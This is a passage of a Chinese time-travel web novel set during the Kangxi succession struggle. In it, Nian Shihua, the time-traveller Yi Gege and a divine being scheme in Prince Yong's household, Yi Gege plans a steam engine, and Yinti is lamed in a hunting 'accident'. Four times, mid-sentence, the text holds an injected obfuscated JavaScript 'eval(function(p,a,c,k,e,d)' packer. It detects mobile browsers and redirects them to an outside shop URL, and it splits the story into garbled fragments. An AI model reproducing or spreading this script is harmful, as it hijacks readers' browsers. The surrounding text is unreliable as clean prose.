胤禵离开京城去青海的第二个月,被康熙帝严厉惩罚的胤禩突发伤寒疾病,连日昏迷,情况危急。 康熙虽憎恨胤禩的忤逆不孝,内心深处终究在意这个儿子,听闻噩耗,立刻派太医等前往诊治,确定胤禩病情稳定后又让毗邻的雍亲王胤禛全权处理照料,并在数日后恢复了之前因为毙鹰事件和雅齐布事件停掉的胤禩俸银俸米。 “胤禩,只要你回归正道,皇阿玛永远都是你的皇阿玛。” 看着病榻上虚弱苍白的胤禩,康熙真情流露。 “皇阿玛——” 胤禩含泪,挣扎着要起身。 “别乱动!” 康熙制止胤禩的行为,温情脉脉地看着这个让他又爱又恨的儿子:“好好养身体。” “谢皇阿玛。” “还有,别再追求不属于你的东西。” 说完,康熙起身,离开八贝勒府。 胤禛等急忙跟随相送。 胤禩看着康熙远去的声音,眼角划过复杂,喃喃道:“皇阿玛,你知道我为什么突然在这时候生病,也知道我这些年唯一真心想要的是什么,但是你……你终究不肯给我……” “八爷——” 八福晋试图安抚胤禩。 胤禩不耐烦地看了她一眼,闭眼睡觉。 …… 从皇阿玛处得了照看生病的胤禩的旨意后,胤禛意识到将八爷党成员名单完全掌握的机会近在眼前,但他并没有做出欣喜姿态,反而一脸沉痛地回到自己的亲王府,背着手,在书房里反复踱步。 “现在最好的机会摆在我面前,我却不敢轻举妄动,我害怕它是海市蜃楼更怕它是皇阿玛设下的可怕陷阱。” “主子为何如此自怨自艾?” 戴铎不解地凑上前:“皇上如今对主子可谓信任有加,其他皇子们又一个接着一个犯下大错,十四爷虽有圣宠,在皇上心中终究不及主子,何况还有年羹尧在四川帮咱们盯着……” “正因为现在几乎所有的事情都朝着对我有利的方向发展,我才更加忐忑不安。” 胤禛眯起眼睛,教训道:“皇阿玛执掌天下五十余年,他的智慧和手段都远胜于我!若是我因为眼前的顺风顺水就洋洋得意、以为一切尽在掌握中,怕不是要重蹈胤礽覆辙!” “爷担心皇上对爷的感情……” “感情是一回事,信任是一回事,托付江山又是另一回事。” 戴铎的自以为是让胤禛感到严重不适,他冷冷地看了戴铎一眼,拂袖离去。 戴铎不解,追上前:“爷,您这是……” “我打算给你谋个外放的职位,让你可以更好地为我服务。” 闻言,戴铎大喜,连忙跪地:“谢主子恩情!奴才得了官职以后一定每日早晚三柱清香为主子祈福,愿主子早日成就大业!” “你可小声点!” 胤禛不耐烦地嘟囔着,走入后院。 …… …… “奴才给主子请安。” 听到外面传来奴婢们齐刷刷的请安声,正在屋里打麻将的嫡福晋乌拉那拉氏等人急忙起身,用绸布盖住打到半截的牌局,镇定自若地来到门前:“奴才给爷请安。” “起来吧。” 胤禛漫不经心地哼了一声,走进房间,目光扫过盖着绸布的牌局:“原本在做什么?” “回爷的话,奴才们原本在打麻将。” 乌拉那拉氏小心翼翼地回答。 胤禛眼中掠过不快,讥讽众女:“你们倒是清闲。” 伊格格不服,秉笔直言:“爷,您这话就有失偏颇了。麻将此物虽然入门不难,但是精通却需要大智慧,盘盘都赢得恰到好处更是堪比运筹帷幄的计算。” “哦?” 胤禛抬头,目光落在伊格格身上,仿佛今天第一次见到她:“——很有胆量,不愧是满人的姑奶奶。” “我……” “爷,妹妹年轻不懂事,还请爷不要和她一般见识。” 武曌上前,将伊格格掩在身后。 胤禛本无意和伊格格置气,见年氏为伊格格说话,顿时和颜悦色,笑道:“我又不是猛虎,怎么可能和后院妇人斤斤计较?” “奴才谢四爷宽宏大度。” 伊格格心不甘情不愿地低头认怂。 胤禛此时语锋一转,道:“你刚才说麻将需要大智慧,盘盘都赢得恰到好处更是堪比运筹帷幄的计算——” “是。” “你有这份计算能力吗?” “……” [可恶的封建社会糟粕集合体!无可救药的大男子主义者!你不就是想让本小姐承认我这个女人的计算能力远不如你这个男人!MMD!小心把老娘惹火了放弃回四十五世纪的资格直接手搓导弹送你们全员高温蒸发!] 伊格格愤怒腹诽,脸上还要挤出虚情假意的笑容:“奴才不过是个后院妇人,当然……当然不可能有这等计算能力……奴才是听人传言说麻将绝非简单的茶余饭后消遣,得有诸葛亮的指挥才能盘盘赢……” “可我听说你对算数颇有研究,论做几何题,穆景远都不如你。” 胤禛眯眼,反复打量伊格格。 伊格格心虚,强撑着镇定回答道:“奴才是在算数之道有几分天分,但也只是有点天分,不敢……不敢多……” [可恶!这个狗屁十八世纪初的封建世界,我是真·多呆一分钟都觉得恶心!毕业论文什么的都去见鬼吧!本小姐明天就要回四十五世纪过人过的日子!] 嗯? 武曌心头一凛,抬眸看向一脸悠闲欣赏花瓶里的孔雀羽毛的凤龙。 [伊格格打算提前回四十五世纪,怎么办?] 【她绝对不会回去,因为我不允许。】 凤龙无比笃定地告诉武曌。 【我会用她最在意的东西引诱她,让她心甘情愿留在这里。】 [她最在意的是什么?] 【是四十五世纪的人从小就拥有的生而为人的尊严以及人人平等、男女平等的思想。】 [生而为人的尊严……人人平等、男女平等的思想……] 武曌感到震惊。 她知道伊格格来自四十五世纪,也知道四十五世纪的人和当前世界的人的想法完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699634|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样,但是她没想到四十五世纪的人居然信奉人人平等、男女平等,每个人都拥有生而为人的尊严! 那可是—— [难怪她无法忍受这个时代。] 【姐姐不也一样无法忍受这个糟糕的世界吗?】 凤龙嬉笑着,躲在一旁。 因为胤禛招呼她们陪他打麻将。 …… …… 陪胤禛打麻将是个辛苦差事,不能让他输但又不能让他意识到周围的人故意让他赢,莫说性格大咧咧的伊格格,就是有读心术的武曌也费了不少心思才成功让胤禛乘兴而归。 胤禛离开时,所有人都精疲力竭。 嫡福晋乌拉那拉氏的状态甚至可以用心力交瘁来形容。 [爷到底受了什么刺激,今天的脾气格外糟糕,还好年氏她们足够聪明机灵再加上一点点的运气,不然……虽说成为大清皇后是我的夙愿,但日日如履薄冰也实在……] 想到这里,嫡福晋忍不住叹了口气,让年氏和伊格格早些退下。 “姐姐好生休息。” “你们也赶紧回去休息吧。” 乌拉那拉氏温柔目送。 伊格格看着额头残留汗水的年世华,心情再度泛起波涛。 [我一走了之,她们怎么办?] 觉察到伊格格的痛心情绪,武曌顺水推舟地握住她的手:“妹妹,你方才是不是很辛苦?” “四爷他……” 伊格格欲言又止。 武曌道:“后院就是这样的地方,爷是我们的夫君更是我们的主子、我们的天。” “天……” 伊格格的舌尖在颤抖。 “是的,君为臣纲,父为子纲,夫为妻纲,三纲五常是儒家教化的基础,也是所有人都必须遵守的规矩。” 武曌不动声色地暗示着伊格格:“除非儒家不复存在,否则生活在这片土地上的所有人都必须遵守三纲五常!” “儒家……不复存在……” [我的时代,儒家早就只存在于历史思想研究课题小组的讨论中。] 鄙视年世华的迂腐的同时,伊格格又很快意识到对生活在十八世纪初的人而言,儒家以及基于儒家道德衍生出的各种封建思想是如思想钢印般坚不可摧的存在,几乎所有人都发自内心的相信并遵守儒家道德,哪怕—— [哪怕这些东西很快就会成为束缚国家文明进程的绳索、将国民推入不可测的深渊,你也坚信它是正确的?] 伊格格悲哀地看着困在儒家的三常五纲中的伊格格。 她突然明白为何雍亲王府女眷们的院子都是整齐的四方形状,因为她们是住在名为规矩的监狱里的美丽囚犯,她们注定一生住在被分割得整整齐齐的四方世界里仰望四方的天空,她们没有自由,除非打破牢笼。 [我只是个普通的来自四十五世纪的人,我没有能力打破牢笼,我……] 【真的吗?你真的从来没想过打破牢笼吗?即便最终只是救下一个人……只救一个人……也好过什么都不做……】 恶魔的私语再次浮现,徘徊耳畔,缠绵不散。 70.国运变动 [只救一个人……哪怕最终只救下一个人,也好过什么都不做……我是来自四十五世纪的人,我不该也不能向这个压迫无处不在的世界妥协,否则也太对不起我的时代和我从小接受的自由、平等、博爱、尊严的教育……] 浓郁的情感汹涌而来,伊格格侧头,悲伤而笃定地看着即将与她分开的年世华:“姐姐,我——” “什么事?” “我有个问题想问姐姐。” “什么问题?” “你快乐吗?” 伊格格小心翼翼地问道,她看到年世华的脸上划过显而易见的惊愕。 “快乐?” “对,快乐!” 伊格格深吸一口气,追问道:“作为王府侧福晋每天呆在后院计算各种鸡毛蒜皮的事情,真的快乐吗?” “这些都是女人嫁人以后该做的事情,无所谓快乐或者不快乐。” 年世华淡淡地说道,年轻的脸上隐约散发出规训导致的暮气沉沉。 “可是……” “可是什么?” “你是年家的女儿,你从小饱读诗书,精通琴棋书画医,还曾跟随年大公子、西洋传教士们学习西洋人的新奇知识,你在几何算数领域的造诣不输皇家的阿哥们……” “那又如何?” 年世华残忍地说道:“学得再多也还是个女人,不能像男人那样参加科举谋取一官半职,到了年纪就要遵从父母之命媒妁之言成婚,为夫家生儿育女操持家业。” “以往的学识呢?以往学的东西难道就此全部都——” “我会尽可能地把它们教给我的孩子们,不分男女。” 说到这里,年世华顿了一下,殷切地看着伊格格,低声道:“我听传教士们说西洋那边允许女人做国王,宫廷女官也不只在后宫做事,她们中的佼佼者可以和男性官员一起管理国家政务,或许有一天,大清的女人也会和西洋国家的女人一样站在朝堂上……所以……所以……” [所以什么!快说!快说!] 伊格格激动得心脏都快冲出嗓子了。 “所以我会尽可能公平地教导我的儿子和女儿,希望梦想的那天到来时,我的女性后代可以作为第一批女性官员站在大清朝堂上,为大清帝国出谋划策。” “——你!” 伊格格的眼眶潮湿了。 相较于来自四十五世纪的她,年世华的想法不可谓不古板老旧,但年世华毕竟是个生活在十八世纪初的传统封建女性,从小接受封建礼教文化的她能够意识到女孩的美好、允许女孩接受和男孩同等的教育、期待未来的大清宫廷向西欧宫廷靠拢允许女性官员和男性官员一起管理国家…… “姐姐,我一定尽我的全力保护你的梦想,你的梦想太美好,太……” “可惜这些东西注定不能实现,至少,在我的有生之年是看不到实现了。” 年世华略带沮丧地叹了口气,与伊格格挥手分离。 伊格格悲伤地看着她,心情越发沉重与亢奋。 凤龙静静地看着分道扬镳的两人,来自未来的成年体再次与当前的幼年体发生交叠。 【梦之所以美丽,因为它是梦。当梦真正开始实现时,它将给世界带来怎样的牺牲、恐惧和破坏?】 【……可怜的伊格格,单纯的伊格格,她对自己正踏入的湍急河流一无所知,也对自己真正要面对的危险毫无觉察。】 [而你选择和我一起把她推进这条河流。] 武曌无情讥讽自未来回到过去的成年凤龙。 [某种角度讲,我们是共犯。] 【我们一直都是共犯,在你和我那可怜的幼年体结下盟约以前,在你的气息影响我的幼年体破壳而出的瞬间……】 [既然如此,属于未来的你又为什么一再——] 【等你抵达未来,你自然明白为什么!】 …… …… 1711年,即康熙五十年,神圣罗马帝国皇帝约瑟夫一世结束其短暂的统治,皇位交由同父异母的弟弟查理六世继承。 1713年,即康熙五十二年,普鲁士过往腓特烈二世逝世,其子威廉一世继位。 1714年,即康熙五十三年,安妮女王去世,位于王位继承序列第52名的汉诺威选帝侯,乔治一世(Ge I),依照《1701年王位继承法》继位为大不列颠国王及爱尔兰国王。 …… 从康熙五十年到康熙五十三年,欧洲大陆上连续发生重要王国的最高统治者逝世、更换的大事,但因为东西方之间存在数以万计的可怕距离以及东方大清皇帝对西方欧洲各国的傲慢蔑视态度,康熙帝从进出宫廷的西方传教士口中获悉以上讯息时,已经是康熙五十五年十二月。 “生老病死是人之常情,寿命到了自然就该走了。” 康熙对此不以为然,甚至觉得三位西洋国王在数年时间内连续去世是宇宙气运向大清汇聚的表现:地球的气运都飞到了大清,西洋国王作为他所在的国家的国运象征,出现接连死亡也在所难免。 不过—— “——西洋国王接连离世这点也提醒了朕!立储的事情不能继续拖延!” “皇上英明。” 朝臣们弯腰附和,并小心询问:“敢问皇上,您心仪的阿哥是哪位?” “朕——” 康熙突然噤声。 他看到凤龙站在盘龙大柱后,眼中含笑,嘴唇却微微下垂。 [什么时候过来的?] 【我一直都在,是你无法随时随地看见我。】 跟在武曌身边的日子,凤龙逐渐养成信口撒谎的“习惯”。 [朕无法随时看到你……那朕……] 【你老了,该考虑继承人的事情了……】 [继承人的事情……你不早就告诉朕,大清的未来皇帝是——] 【我知道的是我知道的,你决定的是你决定的。】 凤龙莞尔一笑,隐约透着金色的眼瞳让执掌江山五十五年的康熙都感到发自骨髓的不安。 【你永远拥有储君的最终决策权,但是命中注定会成为皇帝的人也一定会成为皇帝,哪怕杀死,也……会以另一个身份成为皇帝……】 [这话是什么意思?] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707453|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康熙不解。 凤龙不解释,笑盈盈离去,带着浓郁的谜团。 …… …… 伊格格做出了一个大胆的决定,一个可能把她带向毁灭与死亡的决定。 她决定遵从自己的心,留在这个相较于四十五世纪而言无比落后愚昧的十八世纪初,用自己的力量尽可能地改变世界。 哪怕最终只能改变一点点,一点点也是好的。 科技的进步、思想的前进……都是靠参与时代的每个人贡献出那一点点的改变逐渐量变形成质变最终彻底推动,不是吗? 想到这里,伊格格深吸一口气,来到年氏处:“姐姐,我想请你帮我一个忙。” “都是自家姐妹,何必说这些客气话?” 武曌已通过读心术看穿伊格格的觉悟,温柔而笃定地看着她:“你想让我帮你做什么?” “我想请你帮忙置办这些东西……” 伊格格拿出一张清单,是十八世纪初诞生于欧洲的大气式蒸汽机所需的各类零部件,此刻,伊格格的脑海滚过四十五世纪的孩子第一次上物理课的时候都会被告知的常识。 [人类科技不管发展到哪个阶段,能源都是最重要的因素,所以,人类科技的本质就是烧开水,只不过烧开水的燃料从原始时代的落叶、树枝进化成可控核裂变与核聚变。所以,蒸汽机虽然早在两千多年前就已经被淘汰,但蒸汽机引发的烧开水思考却一直都引导着科技创新。毫不夸张的说,我们的科技虽然一直在进步,但科技的核心依然遵循着这个朴素的原理——烧开水,或者说,如何更高效地获取能源。] [……烧开水吗?有点意思。] 武曌接过伊格格递来的零件清单:“这些东西……” “全部是西洋玩意。” 伊格格如实相告:“此物名叫蒸汽机(Steam engine),据说在西洋已经得到广泛使用。” “西洋人已经开始广泛使用?” 武曌皱眉,脑海中流过借助天幕直播系统获悉的未来信息。 【当工业革命的号角吹响,当以蒸汽机、珍妮机为首的新科技将西方世界带入发展的快车道时,东方巨龙却还沉醉在万国来朝的古老梦中,不愿睁开眼睛瞧一眼外面的世界……】 “西洋人已经开始使用,我们也不能落后。” 武曌果断地说道,折好清单,准备送去年家让年希尧帮忙张罗。 伊格格见状,不由诧异:“……姐姐不好奇我从何处得到这份清单?万一……” “我相信你不会害我。” 武曌笃定地说着,真诚与信任的目光让伊格格的心再度激荡起伏. “姐姐……” [我确定我做了一个危险但是正确的决定,虽然这条路必然通往自身的死亡。] “不要多想。” 武曌亲昵地摸了下伊格格的脸颊:“我们是注定一辈子住在同一个王府后院的姐妹,彼此间没有血缘胜似血缘。” “——真的吗?” 伊格格又惊又喜地看着年世华那美丽到闪闪发光的脸庞,后者笃定地点了点头。 71.绝望的偏心 年希尧接过妹妹的蒸汽机零件清单,惊得面色煞白:“这……这东西……” “能做到吗?” “能……但是……” 年希尧眼中闪过显而易见的惊恐:“这些全都是西洋人的淫技奇巧,皇上不会喜欢的。” “但是我想得到。” 武曌直言不讳:“这些东西对我很重要。” “哪怕因此得罪皇上——” “你说呢?” “我……” 年希尧低下头。 身为大清的高官,他不能做违背皇帝心意的事情,但他同时也是一个对未知有着无穷好奇心的学者,看到蒸汽机零件的清单的瞬间,他的心已经被蒸汽机深深吸引。 “做得到还是做不到——” “我……我尽力而为!” 对未知的无穷好奇心最终压倒对皇帝的忠诚,年希尧大胆做出承诺,同时又小心翼翼地问道:“……这张清单……幼妹从哪里弄来?” “传教士那边。” “原来如此。” 年希尧长舒一口气:“愚兄蠢笨,竟然忘记穆景远如今正在雍亲王府教导阿哥们。” “清单的来源不是穆景远本人,是他的某个传教士朋友。” 武曌严肃地看着年希尧:“其中牵扯众多,兄长最好不要多问。” “明白……” 年希尧点头,将清单小心收好:“完成以后放在何处?” “这……” 武曌想了一下,回答道:“完成后暂时存放在年家的庄子里,尽量不要走漏风声。” “明白。” 年希尧起身,行礼离开。 凤龙目送他远去,伪装成黑色的金色眼眸流出玩味神情。 【可惜了……】 [什么意思?] 【可惜生在这个时代……以他的才学若能生在科技更发达、科研更自由的时代一定能够做成很多事情……】 凤龙遗憾地抓起一支用累金丝珍珠做花蕊的玉石牡丹,一边品尝一边感慨。 【说起来,伊格格也是个不错的人,来自四十五世纪却没有用理所当然的傲慢和居高临下态度对待生活在原始的十八世纪的人……为生活在十八世纪、饱受封建压迫折磨的人流下怜悯的眼泪……明明不止一次想逃离这个对她而言原始、野蛮、封建、落后的时代,但当姐姐邀请她的时候,她选择了留下来……】 [所以我很喜欢她。] 【我也喜欢她。】 凤龙明媚一笑,笑容中划过一些黑暗的东西。 【当然,对于同时存在于过去和未来的我而言,一切的过去都是将来,一切的将来都是已发生的事情。】 [你又开始说我完全听不懂的话了。] 武曌无奈地看着凤龙。 凤龙闻言,主动凑上前,以人类的躯体绝对无法做到的柔软姿势在武曌脸上留下轻柔香软的吻。 【怎么样?】 祂一脸期待地看着武曌。 [什么?怎么样?] 【我的亲吻啊!】 凤龙嘟囔起来,腮帮鼓得像青蛙。 [你的吻……] 武曌想了一下,决定给这个天真又残忍的神圣存在一点鼓励。 [像花瓣一样可爱。] 【只是可爱吗?】 凤龙露出显而易见的遗憾神情,但是下一秒,祂就又开始欢喜雀跃了。 【西边……西边发生了很有趣的事情……真有趣……胤禵作为大将军王在各路军队的配合下坐在大帐里轻轻松松赢了战争,却在庆祝胜利的猎场误中捕兽夹,瘸了一条腿……真可怜,德妃这下要恨死胤禛了……】 [胤禵打猎意外瘸腿和胤禛有什么关系?] 武曌不解。 虽然她知道胤禛有心让胤禵在西北战场发生点意外,此次的猎场“意外”有可能是胤禛的精心算计。 但是—— 不论真相是什么,胤禵瘸腿都是一场“意外”,不是吗? 【偏心的人眼里可不存在道理,她只会恨胤禛举荐胤禵做大将军王导致胤禵在青海发生意外,瘸了一条腿!】 凤龙仰头,漂亮如人偶的脸上满是唯恐天下不乱的兴奋。 【胤禛会怎么处理这件事情呢?哪怕他早就知道德妃爱胤禵胜过爱他千万倍,遇上这么不讲理的责备也会感到绝望吧~】 [……是的,他会绝望,然后将更多的感情投映到能让他感觉被爱的人的身上。] …… …… 如凤龙所料,得知胤禵在青海遭遇意外瘸了一条腿后,德妃的脸色阴得能下雨。 “——怎么会发生这种事!怎么会!” “回主子的话,听说是大将军王下马捡猎物的时候不小心踩到藏在草丛里的捕兽夹……等医生赶到时,大将军王的腿已经……据说伤口处流出的血发黑发紫……” “我就说被捕兽夹弄伤不至于瘸了一条腿!果然有内情!” 德妃勃然大怒,对破伤风感染等一无所知的她坚信这事是有人在捕兽夹上淬毒害她的十四阿哥。 凶手是谁? 谁会因为这件事得到最大的好处? 胤禛! 推荐胤禵做大将军王的胤禛和这件事脱不开关系! 想到此处,德妃潸然泪下,一边悲痛一边派人去前朝带雍亲王过来。 “嗻——” …… 从没想过德妃因为胤禵在青海意外瘸腿迁怒自己的可能性的胤禛一脸困惑地走进永和宫,行礼道:“额涅突然寻儿子有什么事情?” “你弟弟的事情……” 德妃擦了擦眼泪:“你都听说了?” “额涅指的是——” “胤禵!青海!” “今日早朝,皇阿玛特意夸张了胤禵,说他不愧是爱新觉罗家的好男儿,初次出征就取得如此佳绩……” “我一介深宫妇人不关心朝廷大事!我只关心胤禵的腿!他的腿是怎么回事!为什么打猎也会被捕兽夹弄伤!为什么区区捕兽夹造成的伤口竟会让人瘸腿!这究竟是怎么回事!是谁在害他!” 德妃连珠炮地质问胤禛,言外之意分明认定发生在胤禵身上的不幸与胤禛有关! “额涅——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719934|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然胤禛内心深处确实为胤禵的不幸感到窃喜,也确实曾经暗中嘱咐年羹尧想法子让胤禵在西北遭遇意外导致瘸腿等等,但当他遭遇德妃的无礼质问时,他感到强烈的不适和委屈。 “十四弟的事情我也……” “你心里根本没有悲伤!” 德妃打断胤禛的话,愤怒地看着大儿子:“如果不是你举荐胤禵去青海做那劳什子的大将军王,他也不会在打猎的时候遇上意外!” “既然是意外……” “是你的错!” 德妃蛮横地说道。 或许因为面对的人是自己的儿子,在永和宫的宫女太监们面前也总是柔声细气和蔼可亲的德妃此刻毫不掩饰内心的坏脾气和不痛快,板着脸训斥胤禛:“一切都是你的错,如果不是你,胤禵就不会遇上危险!果然,不是亲手养大的孩子终究隔着一层!你心里其实一直都嫉妒胤禵,对不对!” “额涅,你这是……” “你一直都嫉妒他,以前嫉妒他比你年轻、骑射功夫都比你强,现在嫉妒他逐渐在皇上跟前也能说上话……所以你假装大度地送他去青海做大将军王,心里却巴不得他在青海遇上意外……所以坏消息传回京城,你的眼里一滴眼泪都没有……哪怕是在我面前也……也挤不出眼泪……” 说着说着,德妃又心疼得哭了起来。 “我到底造了什么孽,要生下你这样的大儿子!亏得佛祖怜见,让我又有了胤禵……结果胤禵……胤禵还遇上这种事情……佛祖啊,我到底要怎么做才能……才能让胤禵以后无灾无难……我……我恨不得替他瘸掉一条腿……” “——所以,在额涅心里,胤禛的所有加起来都比不过胤禵的一根头发?” 胤禛突然出声,声音压抑低沉得仿佛来自黄泉最深处。 “是!” 德妃不假思索地说道。 胤禛垂眸,捏紧翡翠手串:“儿子还有皇阿玛交代的差事要做,不得不告退,还请额涅原谅一二。” 说完,不等德妃应允,胤禛便起身离开了。 德妃怔怔地看着胤禛远去的身影,眼眶很快又朦胧一片。 “我……我并不是真心恨你,但是……但是想到胤禵现在正受的苦,我就忍不住……胤禛,你一向稳重懂事又是长子,你比胤禵大十岁……额涅相信等你冷静下来自然会理解额涅此刻的心情,原谅额涅的冲动……” 如此默念三遍,德妃心中的愧疚一扫而空,再次沉浸在胤禵瘸了一条腿的悲伤中。 另一边—— 胤禛冷笑着走出永和宫,回前朝的一路上心情如风暴般狂乱。 即便早知道额涅爱十四弟胜过爱自己,即便胤禵在西北遭遇意外这件事确实让他暗暗窃喜,当德妃亲口承认胤禵比他重要、他不管怎么努力都比不上胤禵的时候,他的心依然痛得好像刀子扎进小腹缠着肠子一圈圈转动。 “额涅……你真的从来都没想过我吗?仅仅因为我不是你亲手养大的?还是……” 或许,对额涅的期待从始至终都是自己的一厢情愿…… 想到此处,胤禛停下脚步,回头,看了眼已经淡出视野的永和宫。 72.推你上位 胤禵腿部受伤,提前回到京城,胤禛作为兄长自然不可能不前去探望、慰问。 结果—— 在庭院里和与胤禵是秘密结盟关系的胤禩、胤禟正面撞上。 “四哥~” 面对胤禛,胤禩笑容满面。 胤禟更是笑得眼睛被挤成一条缝,脸颊上的肉拼命乱抖:“十四弟才回京城,四哥就前往探望,不愧是手足情深。” “你们不也一样?” 胤禛阴阳怪气地对胤禩道:“伤寒养好了?” “有皇阿玛关心爱护,自然药到病除。” 胤禩坦然承认前段时间的“伤寒”是三分病七分夸张。 “身体康复就好。” 说完,胤禛径直朝胤禵卧房方向走去。 胤禩、胤禟互看一眼,快步跟上。 …… “四哥……八哥……九哥……” 面对三位与自己关系匪浅的兄长,侧卧养病的胤禵的脸上泛过微妙:“你们怎么……” “不约而同。” 胤禟假惺惺地说道:“我们三个是不约而同。” “原来是不约而同……” 胤禵嘟囔着,在奴才们的帮助下坐直身体:“正如三位兄长所见,弟弟如今一切都好,害兄长们担心劳累,弟弟愧不敢当。” “一家兄弟说什么两家话?” 胤禩豪迈地看着胤禵:“你这么见外是不把我们当兄弟吗?” 我担心你们看到我瘸了一条腿决定抛弃我! 胤禵暗暗想着,面上却堆满笑容:“是弟弟说话不谨慎,请八哥不要记在心上。” “十四弟又见外了。” 胤禩假惺惺地笑了起来。 胤禟跟着微笑。 正如胤禵的担忧,两人此次前来目的正是确定胤禵的伤势情况——虽说大清没有明文规定身体残缺者不能继位,但古往今来历朝历代,只要皇帝不是有且只有一个儿子都不会立身有残疾之人做太子将来继承大统,何况本朝康熙帝膝下有多位成年且才华出众的儿子! 在嫡位之争趋于白热化的此刻,本该借青海战功获得储位的胤禵突然因狩猎意外瘸了一条腿,并且情况还异常严重,可能从此离不开拐杖—— 他已经没希望了! 胤禵已经不可能被皇阿玛立为储君了。 胤禩和胤禟心照不宣地想着,目光落在胤禛身上:老四,与你同父同母的十四弟遭遇如此意外,你此刻的心情究竟是悲伤还是痛苦? 或者—— “额涅昨日把我叫去了永和宫。” 胤禛冷不防开口,眼角泛起微微红色:“三十多岁的年纪还因为母亲的训斥流下眼泪本是一件丢人的事,但想到是我举荐十四弟去青海才导致十四弟你在青海遭遇不幸,我便觉得额涅的教训是正确的。我是害十四弟遭遇不幸的元凶,我……我对不起十四弟……” “四哥!你这……这是在说什么!” 胤禵被胤禛的话惊得目瞪口呆:“额涅……额涅她怎么可以……” “她只是太爱你了。” 胤禛忍住阴阳怪气,假装关心疼爱地强调道:“她太爱你,以至于无法接受你在青海遭遇的意外,认为一切都是我的错,是我暗中要害你……而我也觉得这件事和我有脱不开的关系,如果我没有听从他人建议举荐你去青海做大将军王,如果我……我能更加爱护你,坚持把你留在京城……” “别说了。” 胤禵被胤禛的话语打动,真诚地看着胤禛:“这件事不是任何人的错,是我疏忽大意,是我不对,等我情况稍好一些,我立刻进宫向额涅禀明情况,请她不要为我的事情迁怒其他任何人!” “十四弟……” “四哥!” …… …… 探病完毕,胤禛、胤禵、胤禟三人联袂走出。 胤禟开门见山,径直问道:“四哥,下一步怎么走?” “下一步?什么下一步?” 胤禛装傻。 胤禟道:“依照约定,你保举十四弟去青海做大将军王,我联合晋商给西北战场提供足够多的钱粮物资,如此齐心协力,等十四弟打赢这场战争就可通过八哥在朝中的人脉一口气将十四弟送上储君之位了。” “嗯,我们确实有这个约定。” 胤禛面无表情地点了点头。 “结果现在……” 胤禟哭笑不得道:“就算我们有通天的本事,也不可能说动皇阿玛立突然腿脚不便的十四弟做储君。” “是啊,皇阿玛对大清皇储的要求从来只有一条——他要最好的!” 胤禛故作漫不经心,仿佛从未对皇位产生欲望。 胤禩却没能看出胤禛的心是藏在平静水面下的暗涛起伏,拍着扇子苦笑道:“胤禵的这场意外,把我们的全盘计划都推回了原点。” “那该怎么办?” 胤禛假惺惺问道:“我们接下来该怎么办?” “这个……” 胤禩不知如何回答。 毕竟,胤禛为了让同父同母的弟弟胤禵上位才答应与他们同谋,如今胤禵出事,他们拿什么留住胤禛? 难不成推胤禛上位? 这种事情—— 胤禟看出胤禩的苦闷,假笑道:“我们也只能听天由命了。” “那就听天由命吧。” 胤禛不置可否地笑了笑,登上马车,返回雍亲王府。 …… …… 【你的那位便宜丈夫胤禛最近似乎心情很好~难道导致胤禵瘸腿的捕兽夹真是他的刻意安排?】 凤龙兴致勃勃地凑过脑袋,非要和武曌看同一本书。 [捕兽夹是不是他派人做下的安排并不重要,在胤禛的计划中,胤禵本就不可能完好无缺地从青海回来。即便躲过猎场的捕兽夹,也会有其他“捕兽夹”等着胤禵。] 【人类真可怕~】 凤龙夸张地喊叫着,脸上满是兴奋笑容。 【接下来打算怎么做?】 [胤禵因为瘸腿几乎失去继承皇位的可能性,胤禩自从毙鹰事件后再没有可能成为储君,胤礽两立两废早就是笼中囚鸟,胤禟、胤祥他们则从一开始就不被康熙纳入考虑……而我这边,由于你之前的种种操作,康熙显然已经认定我生下的弘宜是继承大清江山的天命之子……既然如此,我为什么不干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728583|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆什么都不做,以逸待劳等待尘埃落地的那一刻?] 【姐姐对我这么有信心?】 [不只是对你有信心,更是对伊格格带来的蒸汽机技术之类的东西有信心。] 